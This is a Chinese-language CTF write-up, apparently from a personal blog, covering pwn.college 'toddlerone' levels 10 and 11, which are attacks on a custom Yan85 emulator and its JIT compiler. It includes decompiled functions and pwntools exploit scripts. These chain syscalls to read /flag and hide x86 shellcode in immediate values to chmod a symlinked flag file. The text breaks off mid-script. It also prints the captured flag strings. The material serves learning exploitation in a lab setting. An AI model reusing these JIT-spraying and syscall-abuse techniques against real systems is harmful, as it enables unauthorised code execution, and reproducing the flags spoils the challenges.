yancode += b"\x20\x02\x04" # stm a, b
yancode += b"\x04\x02\x80" # imm a, 0x04
yancode += b"\x67\x20\x80" # imm b, 0x67
yancode += b"\x20\x02\x04" # stm a, b
# open /flag
yancode += b"\x00\x02\x80" # imm a, 0x00
yancode += b"\x00\x20\x80" # imm b, 0x00
yancode += b"\x02\x20\x10" # sys 0x20, a
# read
yancode += b"\x08\x20\x80" # imm b, 0x08
yancode += b"\xff\x04\x80" # imm c, 0xff
yancode += b"\x02\x02\x10" # sys 0x02, a
# write
yancode += b"\x01\x02\x80" # imm a, 0x01
yancode += b"\x02\x01\x10" # sys 0x01 a
return yancode
else:
log.error("Invalid stage number.")
def extract_flag(target):
try:
target.recvuntil(b"pwn.college{")
flag = target.recv(0xFF)
log.success(f"pwn.college{{{flag.decode("utf-8")}")
exit()
except Exception as e:
log.exception(f"An error occurred while extracting flag: {e}")
def attack(target, payload):
try:
send_payload(target, payload)
payload = construct_payload(2)
send_payload(target, payload)
extract_flag(target)
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch(debug=False)
payload = construct_payload(1)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{kV-lC4_vz8LW0vUOLmZ5sKafrjA.0lNzMDL5cTNxgzW}

Level 10.0

Information

Description

The ultimate Yan85 challenge. Provide your own Yan85 shellcode.

Write-up

这题解法很巧妙,我们不能像 Level 9 一样绕过 filter。但是注意观察 interpret_sys 的实现,我们发现,里面每一个 if 语句无论成立与否都会继续判断下一条 if

12 collapsed lines
int __fastcall interpret_sys(unsigned __int8 *a1, int a2)
{
const char *v2; // rax
unsigned __int8 v3; // al
unsigned __int64 v4; // rax
unsigned __int8 v5; // al
unsigned __int64 v6; // rax
unsigned __int8 v7; // al
unsigned __int8 v8; // al
int result; // eax
int v10; // ebx
const char *v11; // rax
v2 = (const char *)describe_register(BYTE2(a2));
printf("[s] SYS %#hhx %s\n", BYTE1(a2), v2);
if ( (a2 & 0x100) != 0 )
{
puts("[s] ... open");
v3 = sys_open(a1, &a1[a1[1024] + 768], a1[1025], a1[1026]);
1 collapsed line
write_register(a1, BYTE2(a2), v3);
}
if ( (a2 & 0x2000) != 0 )
crash(a1, "Disallowed system call: SYS_READ_CODE");
if ( (a2 & 0x1000) != 0 )
{
puts("[s] ... read_memory");
v4 = a1[1026];
2 collapsed lines
if ( 256 - a1[1025] <= v4 )
LOBYTE(v4) = -a1[1025];
v5 = sys_read(a1, a1[1024], &a1[a1[1025] + 768], (unsigned __int8)v4);
write_register(a1, BYTE2(a2), v5);
}
if ( (a2 & 0x200) != 0 )
{
puts("[s] ... write");
v6 = a1[1026];
25 collapsed lines
if ( 256 - a1[1025] <= v6 )
LOBYTE(v6) = -a1[1025];
v7 = sys_write(a1, a1[1024], &a1[a1[1025] + 768], (unsigned __int8)v6);
write_register(a1, BYTE2(a2), v7);
}
if ( (a2 & 0x400) != 0 )
{
puts("[s] ... sleep");
v8 = sys_sleep(a1, a1[1024]);
write_register(a1, BYTE2(a2), v8);
}
if ( (a2 & 0x800) != 0 )
{
puts("[s] ... exit");
sys_exit(a1, a1[1024]);
}
result = BYTE2(a2);
if ( BYTE2(a2) )
{
v10 = (unsigned __int8)read_register(a1, BYTE2(a2));
v11 = (const char *)describe_register(BYTE2(a2));
return printf("[s] ... return value (in register %s): %#hhx\n", v11, v10);
}
return result;
}

Sooooooo,我们把 orw 串起来就好了,实现用一条指令调用多个 syscall!

Exploit

#!/usr/bin/python
from pwn import log, os
def construct_payload():
yancode = b"\x01\x02\x00" # imm a, 0x00
yancode += b"\x01\x40\x66" # imm b, 0x66
yancode += b"\x20\x02\x40" # stm a, b
yancode += b"\x01\x40\x00" # imm b, 0x00
yancode += b"\x01\x10\xff" # imm c, 0xff
yancode += b"\x80\x13\x02" # orw
return yancode
def save_shellcode_to_file(filename):
payload = construct_payload()
try:
with open(filename, "wb") as f:
f.write(payload)
except Exception as e:
log.exception(f"An error occurred while saving shellcode to file: {e}")
def main():
try:
os.system("ln -s /flag f")
save_shellcode_to_file("shellcode")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

令我感到奇怪的是 exp 中使用 os.dup2(1, 57) 并不能将 fd 57 redirect 到 stdout。但是将 shellcode 写到文件中,再将其作为 stdin 传给程序,并重定向 fd 57 到 stdout 就可以。

Terminal window
./toddlerone-level-10-0 < shellcode 57>&1 > output

Flag

Flag: pwn.college{c8a_GFOYLKgE8O8i-6oZxhhzxgi.01NzMDL5cTNxgzW}

Level 10.1

Information

Description

The ultimate Yan85 challenge. Provide your own Yan85 shellcode.

Write-up

参见 Level 10.0

Exploit

#!/usr/bin/python
from pwn import log, os
def construct_payload():
yancode = b"\x40\x10\x00" # imm a, 0x00
yancode += b"\x40\x20\x66" # imm b, 0x66
yancode += b"\x04\x10\x20" # stm a, b
yancode += b"\x40\x20\x00" # imm b, 0x00
yancode += b"\x40\x04\xff" # imm c, 0xff
yancode += b"\x02\x2a\x10" # orw
return yancode
def save_shellcode_to_file(filename):
payload = construct_payload()
try:
with open(filename, "wb") as f:
f.write(payload)
except Exception as e:
log.exception(f"An error occurred while saving shellcode to file: {e}")
def main():
try:
os.system("ln -s /flag f")
save_shellcode_to_file("shellcode")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{oWpBceTnbTClQqRYa8nwc5Pi1b9.0FOzMDL5cTNxgzW}

Level 10 做完也是直接从第七杀入前三了 LOL

Level 11.0

Information

Description

The ultimate Yan85 challenge. Provide your own Yan85 shellcode. Now updated for modern hardware!

Write-up

终于到了传说中的 JIT (Just-in-time compilation),也是本章节最后的 BOSS! 之前看这一章讲义的时候就觉得这是一个很高端的东西。是的,我懂,我懂,又是一道令我仰望的题(其实当时看讲义觉得利用应该也没那么难,只是概念对我来说比较新,因为是第一次接触吧。这种情境仿佛一夜之间世界从蒸汽时代飞跃至信息化巅峰,众人皆已驾驭现代科技,我却恍如沉醉于旧工业的残梦未醒……忽而惊觉,恍若隔世,徒留错愕于时代洪流之中……)……Brain 以自动为您触发被动 skill 畏难 :skull:

话不多说,直接开干!迎面袭来的,是刺鼻的恶臭,嗅……嗯,纯正的,错不了,是逆向分析!/丧中没有一丝燃,好熟悉……

通常这种硬核难题都是,熬过最折磨人的逆向阶段后,神挡杀神、佛挡杀佛,最好如此。/某人试图自我打气

你熟悉又陌生的 main 姑娘:

int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+18h] [rbp-2818h]
_BYTE s[2064]; // [rsp+20h] [rbp-2810h] BYREF
void *addr; // [rsp+2020h] [rbp-810h]
unsigned __int64 v7; // [rsp+2828h] [rbp-8h]
v7 = __readfsqword(0x28u);
printf("[+] Welcome to %s!\n", *argv);
puts("[+] This challenge is an custom emulator. It emulates a completely custom");
puts("[+] architecture that we call \"Yan85\"! You'll have to understand the");
puts("[+] emulator to understand the architecture, and you'll have to understand");
puts("[+] the architecture to understand the code being emulated, and you will");
puts("[+] have to understand that code to get the flag. Good luck!");
puts("[+]");
puts("[+] This level is a full Yan85 emulator. You'll have to reason about yancode,");
puts("[+] and the implications of how the emulator interprets it!");
puts("[X]");
puts("[X] Arizona State University is proud to present a NEW version of Yan85:");
puts("[X] Yan85_64! This is a beta preview of the cutting-edge technology, armed");
puts("[X] with the latest in security mitigations. Hopefully, we didn't forget to");
puts("[X] check all the memory accesses properly, though you never know....");
puts("[X]");
setvbuf(_bss_start, 0LL, 2, 1uLL);
memset(s, 0, 0x2808uLL);
printf("[!] This time, YOU'RE in control! Please input your yancode: ");
read(0, s, 0x1800uLL);
puts("[+]");
puts("[+] This is a *teaching* challenge, which means that it will output");
puts("[+] a trace of the Yan85 code as it processes it. The output is here");
puts("[+] for you to understand what the challenge is doing, and you should use");
puts("[+] it as a guide to help with your reversing of the code.");
puts("[+]");
addr = mmap((void *)0x1337000, 0x1000uLL, 7, 34, 0, 0LL);
v4 = emit_program(s);
if ( mprotect(addr, 0x1000uLL, 5) )
__assert_fail(
"mprotect(state.compiled_code, 0x1000, PROT_READ|PROT_EXEC) == 0",
"/challenge/toddlerone-level-11-0.c",
0x323u,
"main");
puts("[!] Your yancode has been JITed! The result is the following x86_64 code:");
print_disassembly(addr, v4 - (_QWORD)addr);
((void (*)(void))addr)();
return 0;
}

注意到 read 可以造成栈溢出,暂时不知道有没有用,先记录一下。

mmap0x1337000 分配了 0x1000 bytes 的 rwx 空间,通过后续的分析我们知道这个地址是用来存放编译后代码的。

之后进入了 emit_program(s)。返回后移除了编译后代码处的写权限,调用 print_disassembly(addr, v4 - (_QWORD)addr) 输出编译后的机器码及其反汇编,最后通过 ((void (*)(void))addr)() 执行编译后代码。

_BYTE *__fastcall emit_program(__int64 a1)
{
_BYTE *v1; // rax
_BYTE *v2; // rax
_BYTE *v3; // rax
_BYTE *v4; // rax
_BYTE *v5; // rax
_BYTE *v6; // rax
int v7; // r8d
int v8; // r9d
int i; // [rsp+14h] [rbp-Ch]
_BYTE *v11; // [rsp+18h] [rbp-8h]
_QWORD *v12; // [rsp+18h] [rbp-8h]
_BYTE *v13; // [rsp+18h] [rbp-8h]
v11 = *(_BYTE **)(a1 + 0x2000);
puts("[e] emitting initialization code");
v1 = helper_mov_imm(a1, v11, 32LL, 0LL);
v2 = helper_mov_imm(a1, v1, 64LL, 0LL);
v3 = helper_mov_imm(a1, v2, 16LL, 0LL);
v4 = helper_mov_imm(a1, v3, 8LL, 0LL);
v5 = helper_mov_imm(a1, v4, 4LL, 0LL);
v6 = helper_mov_imm(a1, v5, 2LL, 0LL);
v12 = helper_mov_imm(a1, v6, 1LL, 0LL);
for ( i = 0; i <= 255; ++i )
{
*(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x2000);
printf("[e] instruction %d to %p (offset %#x from base)\n", i, v12, *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8));
*(_BYTE *)v12 = 73;
v13 = (char *)v12 + 1;
*v13++ = -57;
*v13++ = -63;
*(_DWORD *)v13 = i;
v12 = (_QWORD *)emit_instruction(
a1,
(int)v13 + 4,
i,
a1,
v7,
v8,
*(_QWORD *)(a1 + 24LL * i),
*(_QWORD *)(a1 + 24LL * i + 8),
*(_QWORD *)(a1 + 24LL * i + 16));
}
printf("[e] compiled %d instructions!\n", i);
return emit_end(a1, v12);
}

v11 = *(_BYTE **)(a1 + 0x2000) 的作用是取编译后代码的起始地址 (_BYTE *)。

emitting initialization code 后的七个 helper_mov_imm 负责初始化一些寄存器的值。深入其内部我们知道,这个函数的作用就是负责将我们输入的 imm 的 yancode 翻译为 amd64 中的 movabs 指令的机器码:

_QWORD *__fastcall helper_mov_imm(__int64 a1, _BYTE *a2, __int64 a3, __int64 a4)
{
_QWORD *v5; // [rsp+10h] [rbp-10h]
switch ( a3 )
{
case 32LL:
*a2 = 73;
a2[1] = -70;
v5 = a2 + 2;
break;
case 64LL:
*a2 = 73;
a2[1] = -69;
v5 = a2 + 2;
break;
case 16LL:
*a2 = 73;
a2[1] = -68;
v5 = a2 + 2;
break;
case 8LL:
*a2 = 73;
a2[1] = -67;
v5 = a2 + 2;
break;
case 4LL:
*a2 = 73;
a2[1] = -66;
v5 = a2 + 2;
break;
case 2LL:
*a2 = 73;
a2[1] = -65;
v5 = a2 + 2;
break;
case 1LL:
*a2 = 73;
a2[1] = -71;
v5 = a2 + 2;
break;
default:
crash(a1, "Unknown register in emit_imm");
}
*v5 = a4;
return v5 + 1;
}

通过观察运行结果我们知道这七条指令分别对应了:

0x0000000001337000 | 49 ba 00 00 00 00 00 00 00 00 | movabs r10, 0
0x000000000133700a | 49 bb 00 00 00 00 00 00 00 00 | movabs r11, 0
0x0000000001337014 | 49 bc 00 00 00 00 00 00 00 00 | movabs r12, 0
0x000000000133701e | 49 bd 00 00 00 00 00 00 00 00 | movabs r13, 0
0x0000000001337028 | 49 be 00 00 00 00 00 00 00 00 | movabs r14, 0
0x0000000001337032 | 49 bf 00 00 00 00 00 00 00 00 | movabs r15, 0
0x000000000133703c | 49 b9 00 00 00 00 00 00 00 00 | movabs r9, 0

进入循环体内部,*(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x2000); 负责计算当前指令相对于 v11 的偏移,单位是字节。

之后 for 循环默认会生成 256 条占位指令(如果你没有输入任何 yancode)。结果差不多是下面这样,每隔一条指令 arg2 这个立即数增加 0x1:

0x0000000001337046 | 49 c7 c1 00 00 00 00 | mov r9, 0
0x000000000133704d | 49 c7 c1 01 00 00 00 | mov r9, 1
0x0000000001337054 | 49 c7 c1 02 00 00 00 | mov r9, 2
<snap>
0x0000000001337731 | 49 c7 c1 fd 00 00 00 | mov r9, 0xfd
0x0000000001337738 | 49 c7 c1 fe 00 00 00 | mov r9, 0xfe
0x000000000133773f | 49 c7 c1 ff 00 00 00 | mov r9, 0xff

接下来,就是我们最关心的 yancode 如何解析了。为了方便查阅理解,这里把调用部分单独贴出来:

// <snap>
for ( i = 0; i <= 255; ++i )
{
*(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = (char *)v12 - *(_QWORD *)(a1 + 0x2000);
printf("[e] instruction %d to %p (offset %#x from base)\n", i, v12, *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8));
*(_BYTE *)v12 = 73;
v13 = (char *)v12 + 1;
*v13++ = -57;
*v13++ = -63;
*(_DWORD *)v13 = i;
v12 = (_QWORD *)emit_instruction(
a1,
(int)v13 + 4,
i,
a1,
v7,
v8,
*(_QWORD *)(a1 + 24LL * i),
*(_QWORD *)(a1 + 24LL * i + 8),
*(_QWORD *)(a1 + 24LL * i + 16)
);
}
// <snap>

(int)v13 + 4 代表下一条指令的起始地址。*(_QWORD *)(a1 + 24LL * i + 16)a9,观察下面的 emit_instruction 的具体实现我们知道程序通过这个参数来判断需要把 yancode 解析成什么指令,所以它就是 opcode 位。

__int64 __fastcall emit_instruction(
int a1,
__int64 a2,
__int64 a3,
int a4,
int a5,
int a6,
__int64 a7,
__int64 a8,
__int64 a9)
{
__int64 v10; // [rsp+0h] [rbp-10h]
v10 = a2;
if ( (a9 & 0x40) != 0 )
v10 = emit_imm(a1, a2, a2, a4, a5, a6, a7, a8);
if ( (a9 & 4) != 0 )
v10 = emit_add(a1, v10, v10, a4, a5, a6, a7, a8);
if ( (a9 & 1) != 0 )
v10 = emit_stk(a1, v10, v10, a4, a5, a6, a7, a8);
if ( (a9 & 0x10) != 0 )
v10 = emit_stm(a1, v10, v10, a4, a5, a6, a7, a8);
if ( (a9 & 0x80) != 0 )
v10 = emit_ldm(a1, v10, v10, a4, a5, a6, a7, a8);
if ( (a9 & 0x20) != 0 )
v10 = emit_cmp(a1, v10, v10, a4, a5, a6, a7, a8);
if ( (a9 & 8) != 0 )
v10 = emit_jmp(a1, v10, v10, a4, a5, a6, a7, a8);
if ( (a9 & 2) != 0 )
emit_sys(a1, v10, v10, a4, a5, a6, a7, a8);
return v10;
}

就以 imm 为例吧,首先得满足 (*(_QWORD *)(a1 + 24LL * i + 16) & 40) != 0,那就是 b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" ;-; 我也不知道是不是应该写出来,但是真的好长啊……

__int64 __fastcall emit_imm(
__int64 a1,
_BYTE *a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
__int64 a7,
__int64 a8)
{
const char *v8; // rax
_QWORD *v10; // [rsp+0h] [rbp-20h]
v8 = (const char *)describe_register(a7);
printf("[e] compiling IMM %s = %#hhx to %p\n", v8, a8, a2);
v10 = helper_mov_imm(a1, a2, a7, a8);
if ( a7 == 1 )
return helper_jmp_i(a1, v10);
return (__int64)v10;
}

然后注意到 (const char *)describe_register(a7),说明 a7,也就是 *(_QWORD *)(a1 + 24LL * i) 代表寄存器,结合下面的 printf 可知它是 arg1。a8,也就是 *(_QWORD *)(a1 + 24LL * i + 8) 代表 arg2,是一个立即数。

那么最终 yancode 格式应该是 arg1, arg2, opcode 这样的,注意每个参数位都是一个 QWORD

__int64 __fastcall emit_imm(
__int64 a1,
const void *a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
__int64 a7,
__int64 a8)
{
const char *v8; // rax
__int64 v10; // [rsp+0h] [rbp-20h]
v8 = (const char *)describe_register(a7);
printf("[e] compiling IMM %s = %#hhx to %p\n", v8, a8, a2);
v10 = helper_mov_imm(a1, a2, a7, a8);
if ( a7 == 1 )
return helper_jmp_i(a1, v10);
return v10;
}

九个参数看着挺吓人的,实际上还好啦~

通过讲义的学习我们知道,攻击思路大致应该是将 shellcode 写到变量里面,然后利用 jmp 跳转到变量内部执行我们的 shellcode。

所以我们用到的指令应该有 immstmjmp

先来看看 jmp 指令的实现:

__int64 __fastcall emit_jmp(
__int64 a1,
_BYTE *a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
__int64 a7,
__int64 a8)
{
const char *v8; // rbx
const char *v9; // rax
_BYTE *v10; // rax
v8 = (const char *)describe_register(a8);
v9 = (const char *)describe_flags(a7);
printf("[e] compiling JMP %s %s to %p\n", v9, v8, a2);
if ( a7 )
crash(a1, "conditional jumps not supported in JIT mode");
*a2 = 77;
a2[1] = -119;
v10 = helper_combo_byte(a1, a2 + 2, 1LL, a8);
return helper_jmp_i(a1, v10);
}

跳转条件被禁了,所以 arg1 对我们来说是没用的,需要设置为 0。那么 jmp 的格式就是 jmp * reg 了。

helper_combo_byte(a1, a2 + 2, 1LL, a8) 的作用是将 yancode 中 arg2 代表的寄存器转换为 amd64 寄存器对应的机器码。而上面的两条代码负责生成将转换后得到的寄存器的值移动到 r9 中的机器码:

*a2 = 77;
a2[1] = -119;

所以最后会生成类似这样的一条指令:

mov r9, ?

附上 helper_combo_byte 的内部实现:

174 collapsed lines
_BYTE *__fastcall helper_combo_byte(__int64 a1, _BYTE *a2, __int64 a3, __int64 a4)
{
if ( a3 == 32 && a4 == 32 )
{
*a2 = -46;
return a2 + 1;
}
else if ( a3 == 32 && a4 == 64 )
{
*a2 = -38;
return a2 + 1;
}
else if ( a3 == 32 && a4 == 16 )
{
*a2 = -30;
return a2 + 1;
}
else if ( a3 == 32 && a4 == 8 )
{
*a2 = -22;
return a2 + 1;
}
else if ( a3 == 32 && a4 == 2 )
{
*a2 = -6;
return a2 + 1;
}
else if ( a3 == 32 && a4 == 1 )
{
*a2 = -54;
return a2 + 1;
}
else if ( a3 == 32 && a4 == 4 )
{
*a2 = -14;
return a2 + 1;
}
else if ( a3 == 64 && a4 == 32 )
{
*a2 = -45;
return a2 + 1;
}
else if ( a3 == 64 && a4 == 64 )
{
*a2 = -37;
return a2 + 1;
}
else if ( a3 == 64 && a4 == 16 )
{
*a2 = -29;
return a2 + 1;
}
else if ( a3 == 64 && a4 == 8 )
{
*a2 = -21;
return a2 + 1;
}
else if ( a3 == 64 && a4 == 2 )
{
*a2 = -5;
return a2 + 1;
}
else if ( a3 == 64 && a4 == 1 )
{
*a2 = -53;
return a2 + 1;
}
else if ( a3 == 64 && a4 == 4 )
{
*a2 = -13;
return a2 + 1;
}
else if ( a3 == 16 && a4 == 32 )
{
*a2 = -44;
return a2 + 1;
}
else if ( a3 == 16 && a4 == 64 )
{
*a2 = -36;
return a2 + 1;
}
else if ( a3 == 16 && a4 == 16 )
{
*a2 = -28;
return a2 + 1;
}
else if ( a3 == 16 && a4 == 8 )
{
*a2 = -20;
return a2 + 1;
}
else if ( a3 == 16 && a4 == 2 )
{
*a2 = -4;
return a2 + 1;
}
else if ( a3 == 16 && a4 == 1 )
{
*a2 = -52;
return a2 + 1;
}
else if ( a3 == 16 && a4 == 4 )
{
*a2 = -12;
return a2 + 1;
}
else if ( a3 == 8 && a4 == 32 )
{
*a2 = -43;
return a2 + 1;
}
else if ( a3 == 8 && a4 == 64 )
{
*a2 = -35;
return a2 + 1;
}
else if ( a3 == 8 && a4 == 16 )
{
*a2 = -27;
return a2 + 1;
}
else if ( a3 == 8 && a4 == 8 )
{
*a2 = -19;
return a2 + 1;
}
else if ( a3 == 8 && a4 == 2 )
{
*a2 = -3;
return a2 + 1;
}
else if ( a3 == 8 && a4 == 1 )
{
*a2 = -51;
return a2 + 1;
}
else if ( a3 == 8 && a4 == 4 )
{
*a2 = -11;
return a2 + 1;
}
else if ( a3 == 2 && a4 == 32 )
{
*a2 = -41;
return a2 + 1;
}
else if ( a3 == 2 && a4 == 64 )
{
*a2 = -33;
return a2 + 1;
}
else if ( a3 == 2 && a4 == 16 )
{
*a2 = -25;
return a2 + 1;
}
else if ( a3 == 2 && a4 == 8 )
{
*a2 = -17;
return a2 + 1;
}
else if ( a3 == 2 && a4 == 2 )
{
*a2 = -1;
return a2 + 1;
}
else if ( a3 == 2 && a4 == 1 )
{
*a2 = -49;
return a2 + 1;
}
else if ( a3 == 2 && a4 == 4 )
{
*a2 = -9;
return a2 + 1;
}
else if ( a3 == 1 && a4 == 32 )
{
*a2 = -47;
return a2 + 1;
}
else if ( a3 == 1 && a4 == 64 )
{
*a2 = -39;
return a2 + 1;
}
else if ( a3 == 1 && a4 == 16 )
{
*a2 = -31;
return a2 + 1;
}
else if ( a3 == 1 && a4 == 8 )
{
*a2 = -23;
return a2 + 1;
}
else if ( a3 == 1 && a4 == 2 )
{
*a2 = -7;
return a2 + 1;
}
else if ( a3 == 1 && a4 == 1 )
{
*a2 = -55;
return a2 + 1;
}
else if ( a3 == 1 && a4 == 4 )
{
*a2 = -15;
return a2 + 1;
39 collapsed lines
}
else if ( a3 == 4 && a4 == 32 )
{
*a2 = -42;
return a2 + 1;
}
else if ( a3 == 4 && a4 == 64 )
{
*a2 = -34;
return a2 + 1;
}
else if ( a3 == 4 && a4 == 16 )
{
*a2 = -26;
return a2 + 1;
}
else if ( a3 == 4 && a4 == 8 )
{
*a2 = -18;
return a2 + 1;
}
else if ( a3 == 4 && a4 == 2 )
{
*a2 = -2;
return a2 + 1;
}
else if ( a3 == 4 && a4 == 1 )
{
*a2 = -50;
return a2 + 1;
}
else
{
if ( a3 != 4 || a4 != 4 )
crash(a1, "Unkown register combination in helper_combo_byte");
*a2 = -10;
return a2 + 1;
}
}

helper_jmp_i(a1, v10) 生成的代码是:

mov r8, r9
shl r8, 3
movabs rax, 0x7fff791f5478
add r8, rax
mov r8, qword ptr [r8]
movabs rax, 0x1337000
add r8, rax
jmp r8

其内部实现如下:

__int64 __fastcall helper_jmp_i(__int64 a1, __int64 a2)
{
*(_BYTE *)a2 = 0x4D;
*(_BYTE *)(a2 + 1) = 0x89;
*(_BYTE *)(a2 + 2) = 0xC8;
*(_BYTE *)(a2 + 3) = 0x49;
*(_BYTE *)(a2 + 4) = 0xC1;
*(_BYTE *)(a2 + 5) = 0xE0;
*(_BYTE *)(a2 + 6) = 3;
*(_BYTE *)(a2 + 7) = 0x48;
*(_BYTE *)(a2 + 8) = 0xB8;
*(_QWORD *)(a2 + 9) = a1 + 0x2008;
*(_BYTE *)(a2 + 17) = 0x49;
*(_BYTE *)(a2 + 18) = 1;
*(_BYTE *)(a2 + 19) = 0xC0;
*(_BYTE *)(a2 + 20) = 0x4D;
*(_BYTE *)(a2 + 21) = 0x8B;
*(_BYTE *)(a2 + 22) = 0;
*(_BYTE *)(a2 + 23) = 0x48;
*(_BYTE *)(a2 + 24) = 0xB8;
*(_QWORD *)(a2 + 25) = *(_QWORD *)(a1 + 0x2000);
*(_BYTE *)(a2 + 33) = 0x49;
*(_BYTE *)(a2 + 34) = 1;
*(_BYTE *)(a2 + 35) = 0xC0;
*(_BYTE *)(a2 + 36) = 0x41;
*(_BYTE *)(a2 + 37) = 0xFF;
*(_BYTE *)(a2 + 38) = 0xE0;
return a2 + 39;
}

大致逻辑就是以 a1 + 0x2008 为基地址,reg 左移三位的值为偏移的这个位置处的 QWORD 移动到 r8,并以 *(_QWORD *)(a1 + 0x2000),也就是 0x1337000 为基,r8 为偏移,跳转到 r8 处执行。所以我们只要控制 r8 为 shellcode 的偏移就好了。

因为有之前 Yan85 的经验,我们知道 stm 可以用于设置寄存器指向的地址的值,所以:

__int64 __fastcall emit_stm(
__int64 a1,
const void *a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
__int64 a7,
__int64 a8)
{
const char *v8; // rbx
const char *v9; // rax
__int64 r8; // rax
v8 = (const char *)describe_register(a8);
v9 = (const char *)describe_register(a7);
printf("[e] compiling STM *%s = %s to %p\n", v9, v8, a2);
r8 = helper_load_r8(a1, a2, a7);
return helper_store_mem(a1, r8, a8);
}

r8 = helper_load_r8(a1, a2, a7); 的作用是将 arg1 寄存器的值加载到 r8 中。变量 r8 存储的是下一条指令的起始地址。

helper_store_mem(a1, r8, a8) 的作用是先将 a1 + 0x1800 的地址写入 rax,然后 r8 = r8 + rax 得到要写入的位置,最后将 arg2 寄存器的 QWORD 值写入到 [r8]

所以 stm 实际实现了下面这些指令:

mov r8, r10
movabs rax, 0x7ffc4b50d840
add r8, rax
mov qword ptr [r8], r11

相信敏锐的你已经发现了,通过 stm 直接可以控制 jmp 的跳转偏移!

之前我们分析出编译出来的 amd64 代码在 a1 + 0x2000 处,而这里 stm 是以 a1 + 0x1800 为基址的,所以我们需要计算一下它们之间相距多少:

────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
0x133704d movabs r10, 0 R10 => 0
0x1337057 mov r9, 1 R9 => 1
0x133705e movabs r11, 0x76 R11 => 0x76
0x1337068 mov r9, 2 R9 => 2
0x133706f mov r8, r10 R8 => 0
0x1337072 movabs rax, 0x7ffc436fde60 RAX => 0x7ffc436fde60 ◂— 0
0x133707c add r8, rax R8 => 0x7ffc436fde60 (0x0 + 0x7ffc436fde60)
0x133707f mov qword ptr [r8], r11 [0x7ffc436fde60] => 0x76
0x1337082 mov r9, 3 R9 => 3
0x1337089 mov r9, r10 R9 => 0
0x133708c mov r8, r9 R8 => 0
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000rsp 0x7ffc436fc638 —▸ 0x604e8e832312 (main+630) ◂— mov eax, 0
01:00080x7ffc436fc640 —▸ 0x7ffc436fef98 —▸ 0x7ffc436ff629 ◂— '/home/cub3y0nd/Projects/pwn.college/toddlerone-level-11-0'
02:00100x7ffc436fc648 ◂— 0x100000000
03:00180x7ffc436fc650 ◂— 0
04:00200x7ffc436fc658 —▸ 0x13377b6 ◂— add byte ptr [rax], al
05:00280x7ffc436fc660 ◂— 0x20 /* ' ' */
06:00300x7ffc436fc668 ◂— 0
07:00380x7ffc436fc670 ◂— 0x40 /* '@' */
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
0 0x1337072
1 0x604e8e832312 main+630
2 0x7963bbc34e08
3 0x7963bbc34ecc __libc_start_main+140
4 0x604e8e8302ae _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p/x 0x2000-0x1800
$1 = 0x800
pwndbg> x/10gx 0x7ffc436fde60+0x800
0x7ffc436fe660: 0x0000000001337000 0x0000000000000046
0x7ffc436fe670: 0x0000000000000057 0x0000000000000068
0x7ffc436fe680: 0x0000000000000082 0x00000000000000b3
0x7ffc436fe690: 0x00000000000000c4 0x00000000000000d5
0x7ffc436fe6a0: 0x00000000000000e6 0x00000000000000ed

所以,只要控制偏移为 0x808 处的值为 shellcode 的偏移即可。

那我们的 yancode 就可以设计为:

imm a, 0x808
imm b, shellcode_offset
stm a, b
imm a, 0
jmp * a
imm a, shellcode
imm a, shellcode
imm a, shellcode
...

因为 shellcode 用一个变量肯定存不下,所以我们需要把各个部分分开写到多个变量中,之间通过 jmp 来实现连续的控制流。

小小 JIT 不过如此嘛~

至此,既然攻击链都出来了,那这个虚拟机还剩下的一些细枝末节我就懒得分析了,直接开写 exp。

Exploit

#!/usr/bin/python3
from pwn import ELF, asm, context, gdb, log, p64, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-11-0"
HOST, PORT = "localhost", 1337
gdbscript = """
b *main+628
c
"""
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def construct_payload():
"""
arg1, arg2, opcode
/* chmod(file='f', mode=4) */
/* push b'f\x00' */
push 0x66
mov rdi, rsp
push 4
pop rsi
/* call chmod() */
push 90 /* 0x5a */
pop rax
syscall
"""
yancode = p64(0x20) + p64(0x808) + p64(0x40) # imm a, 0x808
yancode += p64(0x40) + p64(0xCD) + p64(0x40) # imm b, 0xcd
yancode += p64(0x20) + p64(0x40) + p64(0x10) # stm a, b
yancode += p64(0x20) + p64(0x00) + p64(0x40) # imm a, 0x00
yancode += p64(0x00) + p64(0x20) + p64(0x08) # jmp *, a
yancode += (
p64(0x20) + asm("push 0x66; mov rdi, rsp; nop; jmp $+0xb") + p64(0x40)
) # imm a, shellcode
yancode += (
p64(0x20) + asm("push 0x4; pop rsi; push 0x5a; nop; jmp $+0xb") + p64(0x40)
) # imm a, shellcode
yancode += (
p64(0x20) + asm("pop rax; syscall") + asm("nop") * 0x5 + p64(0x40)
) # imm a, shellcode
return yancode
def attack(target, payload):
try:
target.sendafter(b"Please input your yancode: ", payload)
target.recvall(timeout=3)
try:
with open("./f", "r") as file:
